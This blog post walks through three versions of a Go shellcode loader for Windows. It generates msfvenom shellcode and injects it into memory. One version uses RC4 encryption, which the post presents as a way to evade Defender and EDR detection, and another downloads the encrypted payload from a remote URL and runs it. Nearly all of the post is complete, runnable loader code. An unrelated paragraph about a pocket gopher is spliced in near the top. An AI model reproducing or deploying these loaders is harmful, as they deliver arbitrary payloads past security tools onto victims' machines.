Tim Sonner

GoLang malware utilyzing rc4 encryption to avoid shellcode detection

Published: 2023-07-11

Attwater’s pocket gopher (Geomys attwateri) from Colorado County, Texas, USA: found on Weishuhn Road [County Road 52], 29.8271°N, 96.4812°W, 117 m., 12 May 2014. The identification of this Pocket Gopher is based on geographic distribution in Schmidly, David J. 1994. The Mammals of Texas, 6th ed. University of Texas Press, Austin. xviii, 501 pp. and Reid, Fiona A. 2006. A Field Guide to Mammals of North America 4th ed. Houghton Mifflin Company, Boston, Massachusetts. xix, 579 pp.

We’re going to go through 3 versions of a simple malware that pushes shellcode to memory on Windows.

Usage: Generate payloads and run encrypter.go script on Linux, the sample.go skrpts are for Windo3s and they will not compile on Linux.

teh f we are doing
Uhh. Slipping secret code into memory, doing evil, malicious things… for good. Making your windows box run calc.exe. Taking gibberish, putting it in memory because computers like gibberish and windows will execute it.

teh f is teh sh3llc0de?

Its bytes of hex, its what a program looks like in memory.

This shellcode executes calc.exe

Generate the shellcode

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o shellcode.bin

View the shellcode as memory addresses and ascii

hexdump -C shellcode.bin

Format the shellcode for our byte slice array

hexdump -ve '1/1 "0x%.2x, "' shellcode.bin

So dis iz ta shellc0d3z…

shellcode

0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,

go run sample-1.go

sample-1.go: unencrypted shellcode gets pushed to memory. This gets easily busted by edr.

package main

import (
	"syscall"
	"unsafe"
)

var (
	kernel32            = syscall.NewLazyDLL("kernel32.dll")
	ntdll               = syscall.NewLazyDLL("ntdll.dll")
	virtualAlloc        = kernel32.NewProc("VirtualAlloc")
	virtualProtect      = kernel32.NewProc("VirtualProtect")
	createThread        = kernel32.NewProc("CreateThread")
	waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
	rtlMoveMemory       = ntdll.NewProc("RtlMoveMemory")
)

const (
	MEM_COMMIT        = 0x00001000
	MEM_RESERVE       = 0x00002000
	PAGE_READWRITE    = 0x04
	PAGE_EXECUTE_READ = 0x20
	INFINITE          = 0xFFFFFFFF
)

func executeShellcode(shellcode []byte) {
	// Allocate memory for the shellcode
	mem, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

	// Copy the shellcode to the allocated memory
	rtlMoveMemory.Call(mem, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

	// Change memory protection to executable
	var oldProtect uint32
	virtualProtect.Call(mem, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

	// Create a new thread to execute the shellcode
	thread, _, _ := createThread.Call(0, 0, mem, 0, 0, 0)

	// Wait for the thread to finish
	waitForSingleObject.Call(thread, uintptr(INFINITE))
}

func main() {
	shellcode := []byte{
		0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
		0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
		0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
		0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
		0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
		0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
		0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
		0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
		0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
		0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
		0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
		0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
		0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
		0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
		0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
		0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
		0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
		0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
		0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
		0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
		0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
		0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
		0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
	}

	executeShellcode(shellcode)
}

Wait, does W1ndoes know about teh shellcodez? Yep, it knows…

We need to encrypt teh shellc0dez so Weendows doesn’t know… One can run the encrypter on Windows, but it gets flagged (have to turn off defender). Instead run encrypt.go on linux since we were just using hexdump anyway and its a better workflow… You definately don’t want you encryption script left on a target.

go run encrypt.go encrypted_shellcode.bin

encrypt.go: encrypts the raw shellcode with rc4 encryption using a key and outputs it to a file on disk

package main

import (
	"crypto/rc4"
	"io/ioutil"
	"log"
	"os"
)

func main() {
	if len(os.Args) < 2 {
		log.Fatal("Usage: go run main.go <output file>")
	}

	// Shellcode variable
	shellcode := []byte{
		0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
		0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
		0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
		0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
		0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
		0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
		0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
		0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
		0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
		0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
		0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
		0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
		0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
		0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
		0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
		0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
		0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
		0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
		0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
		0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
		0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
		0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
		0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
	}
	// Set the RC4 key
	key := []byte("Secret")

	// Create a new RC4 cipher with the key
	cipher, err := rc4.NewCipher(key)
	if err != nil {
		log.Fatal("Error creating RC4 cipher:", err)
	}

	// Encrypt the shellcode
	cipher.XORKeyStream(shellcode, shellcode)

	// Write the encrypted shellcode to the output file
	outputFile := os.Args[1]
	err = ioutil.WriteFile(outputFile, shellcode, 0644)
	if err != nil {
		log.Fatal("Error writing output file:", err)
	}

	log.Println("Encryption completed successfully.")
}

T3h encrypted shellcode looks like this… Much different than the raw shellcode, so it goes unnoticed.

encrypted_shellcode.bin

�����@�YArq{����dY��<�%}��
P>{��=�Fe=���� _�nzk�����[}��%�?��������g�ُ�\nl��(��WwlC�m�;
E���u��~�$��k���؄i�&t�i;M(e;J�|�uv��}�	'����J9��a
1nC�����
�ˏ����F�������ϚX�9y�n�Xa�;ŀ̸�4
`����>lig����
�wHW�`
���Ce^F+�G�w�q�o#��( �o�[�F&4���z3�$̳_

We are safe from w1ndoze for the moment, no detections when we aren’t using known shellcode in our script.

We decrypt the rc4 encrypted shellcode stored on disk and push it to memory

go run sample-2.go

sample-2.go: rc4 decrypt and push to memory.

package main

import (
	"crypto/rc4"
	"fmt"
	"io/ioutil"
	"syscall"
	"unsafe"
)

var (
	kernel32            = syscall.NewLazyDLL("kernel32.dll")
	ntdll               = syscall.NewLazyDLL("ntdll.dll")
	virtualAlloc        = kernel32.NewProc("VirtualAlloc")
	virtualProtect      = kernel32.NewProc("VirtualProtect")
	createThread        = kernel32.NewProc("CreateThread")
	waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
	rtlMoveMemory       = ntdll.NewProc("RtlMoveMemory")
)

const (
	MEM_COMMIT        = 0x00001000
	MEM_RESERVE       = 0x00002000
	PAGE_READWRITE    = 0x04
	PAGE_EXECUTE_READ = 0x20
	INFINITE          = 0xFFFFFFFF
)

func executeShellcode(shellcode []byte) {
	// Allocate memory for the shellcode
	mem, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

	// Copy the shellcode to the allocated memory
	rtlMoveMemory.Call(mem, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

	// Change memory protection to executable
	var oldProtect uint32
	virtualProtect.Call(mem, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

	// Create a new thread to execute the shellcode
	thread, _, _ := createThread.Call(0, 0, mem, 0, 0, 0)

	// Wait for the thread to finish
	waitForSingleObject.Call(thread, uintptr(INFINITE))
}

func decryptRC4(key, ciphertext []byte) []byte {
	cipher, err := rc4.NewCipher(key)
	if err != nil {
		fmt.Errorf(err.Error())
	}

	plaintext := make([]byte, len(ciphertext))
	cipher.XORKeyStream(plaintext, ciphertext)

	return plaintext
}

func main() {
	// Load the encrypted shellcode from the file
	filePath := "encrypted_shellcode.bin"
	encryptedShellcode, err := ioutil.ReadFile(filePath)
	if err != nil {
		fmt.Errorf(err.Error())
	}
	fmt.Println("[+] Encrypted shellcode:")
	fmt.Println(string(encryptedShellcode))

	// Decrypt the shellcode using RC4 with a key
	key := []byte("Secret")
	decryptedShellcode := decryptRC4(key, encryptedShellcode)
	fmt.Println("[+] Decrypted shellcode:")
	fmt.Println(string(decryptedShellcode))

	// Execute the decrypted shellcode in memory
	executeShellcode(decryptedShellcode)
}

Take that Windoz3!

What if we don’t know what our payload is going to be? Like maybe we want a file on the internet we can adjust to our needs spontaneously, or maybe we download the file once a day to get updated payloadz… We could really step up our game and read the encryption key from the internet, so its never hardcoded, but thats for another day. The following is a basic example of a payload download.

Let’s download the rc4 encrypted shellcode from this blog

sample-3.go: download rc4 encrypted shellcode, decrypt, push to memory.

package main

import (
	"crypto/rc4"
	"fmt"
	"io/ioutil"
	"net/http"
	"syscall"
	"unsafe"
)

var (
	kernel32            = syscall.NewLazyDLL("kernel32.dll")
	ntdll               = syscall.NewLazyDLL("ntdll.dll")
	virtualAlloc        = kernel32.NewProc("VirtualAlloc")
	virtualProtect      = kernel32.NewProc("VirtualProtect")
	createThread        = kernel32.NewProc("CreateThread")
	waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
	rtlMoveMemory       = ntdll.NewProc("RtlMoveMemory")
)

const (
	MEM_COMMIT        = 0x00001000
	MEM_RESERVE       = 0x00002000
	PAGE_READWRITE    = 0x04
	PAGE_EXECUTE_READ = 0x20
	INFINITE          = 0xFFFFFFFF
)

func executeShellcode(shellcode []byte) {
	// Allocate memory for the shellcode
	mem, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)

	// Copy the shellcode to the allocated memory
	rtlMoveMemory.Call(mem, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))

	// Change memory protection to executable
	var oldProtect uint32
	virtualProtect.Call(mem, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))

	// Create a new thread to execute the shellcode
	thread, _, _ := createThread.Call(0, 0, mem, 0, 0, 0)

	// Wait for the thread to finish
	waitForSingleObject.Call(thread, uintptr(INFINITE))
}

func decryptRC4(key, ciphertext []byte) []byte {
	cipher, err := rc4.NewCipher(key)
	if err != nil {
		fmt.Errorf(err.Error())
	}

	plaintext := make([]byte, len(ciphertext))
	cipher.XORKeyStream(plaintext, ciphertext)

	return plaintext
}

func downloadFile(url string, filePath string) error {
	// Send GET request to the server
	response, err := http.Get(url)
	if err != nil {
		return err
	}
	defer response.Body.Close()

	// Read the response body into a byte slice
	fileData, err := ioutil.ReadAll(response.Body)
	if err != nil {
		return err
	}

	// Write the byte slice to the output file
	err = ioutil.WriteFile(filePath, fileData, 0644)
	if err != nil {
		return err
	}

	return nil
}

func main() {
	filePath := "encrypted_shellcode.bin"
	url := "http://timsonner.com/encrypted_shellcode.bin"

	fmt.Printf("[+] Downloading file: %s \n", url)
	err := downloadFile(url, filePath)
	if err != nil {
		fmt.Errorf(err.Error())
	}

	encryptedShellcode, err := ioutil.ReadFile(filePath)
	if err != nil {
		fmt.Errorf(err.Error())
	}
	fmt.Println("[+] Encrypted shellcode:")

	fmt.Println(string(encryptedShellcode))

	// Decrypt the shellcode using RC4 with a key
	key := []byte("Secret")
	decryptedShellcode := decryptRC4(key, encryptedShellcode)

	fmt.Println("[+] Decrypted shellcode:")
	fmt.Println(string(decryptedShellcode))

	// Execute the decrypted shellcode in memory
	fmt.Println("[+] Shellcode headed to memory...")
	executeShellcode(decryptedShellcode)
}

Bam, we just downloated an rc4 encrypted shellcode payload from teh interweb and ran it in memory.

Okee, that was fun. We haxed teh planet and we now have some kitty skripts to work off. Better edr is going to pick up on the memory trick frickery. wow, so leets. Until next time!

Donezo Funzo